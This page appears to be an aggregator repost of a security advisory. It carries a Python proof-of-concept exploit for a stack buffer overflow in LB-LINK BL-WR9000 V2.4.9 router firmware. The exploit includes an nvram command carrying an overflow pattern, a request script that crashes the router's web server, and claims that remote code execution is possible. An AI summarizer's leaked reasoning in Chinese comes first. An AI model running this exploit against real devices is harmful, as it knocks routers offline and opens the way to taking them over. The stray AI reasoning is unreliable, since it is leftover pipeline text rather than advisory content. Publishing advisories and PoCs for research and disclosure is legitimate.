LB-LINK BL-WR9000 V2.4.9 - Unauthenticated / Post-Auth Stack-based Buffer Overflow
好的,我现在需要帮用户总结一篇文章的内容,控制在100字以内,并且不需要特定的开头。首先,我得仔细阅读用户提供的文章内容。 文章标题是LB-LINK BL-WR9000 V2.4.9的未认证/后认证堆栈溢出漏洞。看起来这是一个安全漏洞的详细说明。作者是Mohammed Idrees Banyamer,来自约旦。漏洞存在于/goform/get_virtual_cfg路径中,通过过大的NVRAM值引发缓冲区溢出。 接下来,文章提到了利用这个漏洞可以导致拒绝服务(DoS)攻击,甚至可能远程控制设备(RCE)。影响范围是BL-WR9000 V2.4.9固件,以及可能使用相同库的其他型号。CVSS评分是8.8,属于高危。 使用步骤包括注入恶意负载到NVRAM,然后触发溢出。代码部分展示了如何发送请求来触发漏洞。 总结时,我需要涵盖关键点:设备型号、漏洞类型、影响、利用方式、CVSS评分以及当前是否有补丁。同时要简洁明了,控制在100字以内。 可能会遇到的问题是如何在有限的字数内准确传达所有重要信息。需要优先突出设备型号、漏洞类型、影响范围和严重性。 最终的总结应该包括:设备型号BL-WR9000 V2.4.9存在堆栈溢出漏洞,通过过大NVRAM值触发,导致DoS或RCE,CVSS 8.8高危,尚未有补丁。 </think> LB-LINK BL-WR9000 V2.4.9固件中存在未认证/后认证堆栈溢出漏洞,可通过过大NVRAM值触发缓冲区溢出,导致拒绝服务或远程代码执行。该漏洞影响MIPS架构设备,默认CVSS评分8.8(高危),尚未有官方补丁修复。 2026-3-17 22:4:7 Author: cxsecurity.com(查看原文) 阅读量:4 收藏

LB-LINK BL-WR9000 V2.4.9 - Unauthenticated / Post-Auth Stack-based Buffer Overflow

#!/usr/bin/env python3 # Exploit Title: LB-LINK BL-WR9000 - Stack-based Buffer Overflow in /goform/get_virtual_cfg # CVE: CVE-2026-4226 # Date: 2026-03-16 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Vendor Homepage: https://www.lb-link.com/ # Software Link: https://www.b-link.net.cn/downloads_16.html (firmware archives) # Affected: LB-LINK BL-WR9000 firmware V2.4.9 (and likely similar models using libshare-0.0.26.so) # Tested on: LB-LINK BL-WR9000 V2.4.9 (2023-06-20 build) # Category: Remote # Platform: Embedded (MIPS) # Exploit Type: Stack-based Buffer Overflow # CVSS: 8.8 (High) - Estimated (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) based on VulDB EUVD-2026-12367 # Description: Unauthenticated/post-auth stack-based buffer overflow via oversized NVRAM "ForwardRules"/"VirtualRules" value parsed by bs_GetVirtualSerInfo (sub_44E8D0) using unbounded sscanf. Allows DoS (web server crash) and potential RCE with ROP on MIPS architecture. # Fixed in: No official patch known as of 2026-03-16; vendor unresponsive per VulDB # Usage: # python3 exploit.py # # Examples: # python3 exploit.py # # Options: # -- (no command-line args; edit TARGET/Cookie in code) # # Notes: # • Requires prior admin access (web/telnet/SSH) to set oversized NVRAM value # • Demonstrates reliable crash (DoS); extendable to full RCE via MIPS ROP chain # • Reachable remotely after NVRAM poisoning (e.g., via other config endpoints if chained) # # How to Use # # Step 1: # Inject malicious payload into NVRAM (via web UI, telnet, SSH, or nvram commands): # nvram set ForwardRules '192.168.0.1,1111,111,aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaaj' # nvram commit # # Step 2: # Trigger the overflow remotely by running: # python3 exploit.py # (web interface becomes unresponsive until reboot) import requests TARGET = "http://192.168.16.1" PAYLOAD_URL = f"{TARGET}/goform/get_virtual_cfg" headers = { "Host": "192.168.16.1", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36", "Accept": "application/json, text/javascript, */*; q=0.01", "X-Requested-With": "XMLHttpRequest", "Referer": f"{TARGET}/admin/main.html", "Cookie": "user=admin; platform=0", "Connection": "keep-alive" } print("[+] Sending trigger to /goform/get_virtual_cfg ...") try: r = requests.get(PAYLOAD_URL, headers=headers, timeout=5) print(f"Status: {r.status_code}") print(r.text[:500]) except requests.exceptions.RequestException as e: print(f"[!] Router crashed / service died: {e}")



 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


Copyright 2026, cxsecurity.com

文章来源: https://cxsecurity.com/issue/WLB-2026030024
如有侵权请联系:admin#unsafe.sh